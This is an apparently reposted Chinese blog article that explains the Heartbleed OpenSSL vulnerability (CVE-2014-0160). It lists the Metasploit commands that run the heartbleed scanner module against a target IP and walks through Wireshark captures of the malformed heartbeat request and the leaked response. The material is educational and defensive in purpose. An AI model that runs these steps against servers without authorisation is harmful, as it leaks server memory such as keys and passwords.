当前位置:   article > 正文

CVE-2014-0160-心脏滴血漏洞

cve-2014-0160

心脏滴血漏洞-CVE-2014-0160

漏洞介绍

2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。

利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

在网络当中中,TCP/IP协议层之上的安全可以由Secure Socket Layer(SSL)及其替代协议Transport Layer Security (TLS)进行保障。这两个协议经常被称作SSL/TLS。HTTP是一个无状态的应用层协议,主要用来在服务器和客户端之间传输数据。HTTPS主要通过在HTTP层和TCP层之间增加了SSL/TLS层来保证服务器与客户端之间安全的传输数据。
DTLS(Datagram Transport Layer Security)即数据包传输层安全性协议,主要是试图在TLS协议架构上提出扩展,使之支持UDP。
TLS/DTLS中的心跳协议主要使用来检测两个设备之间是否还有连接的,根据RFC规定,心跳协议运行在TLS记录层之上,主要是通过交换“心跳”的方式,用来维持端与端之间的连接。

漏洞利用

攻击工具:kali下的msf(测试的同时开启wireshark 分析其中的数据包)

语句:

use auxiliary/scanner/ssl/openssl_heartbleed

show options

set RHOSTS IP   #服务器IP

set PORT PORT   #(端口一般是443)

run

exploit

可以看出该服务器存在该漏洞。

 

漏洞分析

查找whireshark中该IP的数据包

可以看到攻击流程为:

1. 建立socket连接
2. 发送TLS/SSL Client Hello请求
3. 发送畸形heartbleed数据
4. 检测漏洞存在
5. 建立socket连接

查看请求包中内容:

由于SSL记录协议位于某个可靠的传输协议(例如TCP)上面由于数据通过SSL加密处理后显示乱码,我们通过wireshark抓取的数据包主要通过16进制显示,所以像heartbeat_Request的数据包主要分为四部分:(1)数据包帧头部分(在数据包中占14个字节)
(2)IPv4网络层部分(数据包中占20字节)
(3)TCP传输层部分(数据包中占20字节)
图片中方框标注的部分即为通过SSL加密的心跳数据包部分:
Content Type:Heartbeat 24(0x18)
Version:TLS1.0(0x0301)
Length:3(0x0003)
HeartbeatMessage:
Type:Request(0x01)
payload Length:65535(0xffff)
payload
payload为空,利用漏洞将后面内存中的数据dump下来

查看返回包中内容:

 

(上图中为通过wireshark抓取的heartbeat_Response数据包的模块化展示,同样数据包分为帧头部分,IPv4网络层部分,TCP传输层部分以及SSL返回的数据部分)
图下数据为返回的心跳数据包详情展示,由于数据长度为16384个字节太长不好显示这边只截取一部分数据进行展示
18 03 01 40 00 02 ff ff为响应包数据特征:
0x18表示SSL数据包类型为心跳包
0x0301表示TLS的版本号:Version(TLSv1.0)
0x4000表示返回的数据包长度(16384)
0x02表示返回的心跳消息类型(Response)
0x4000表示返回的payload_length(16384)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/爱喝兽奶帝天荒/article/detail/741442
推荐阅读
相关标签
  

闽ICP备14008679号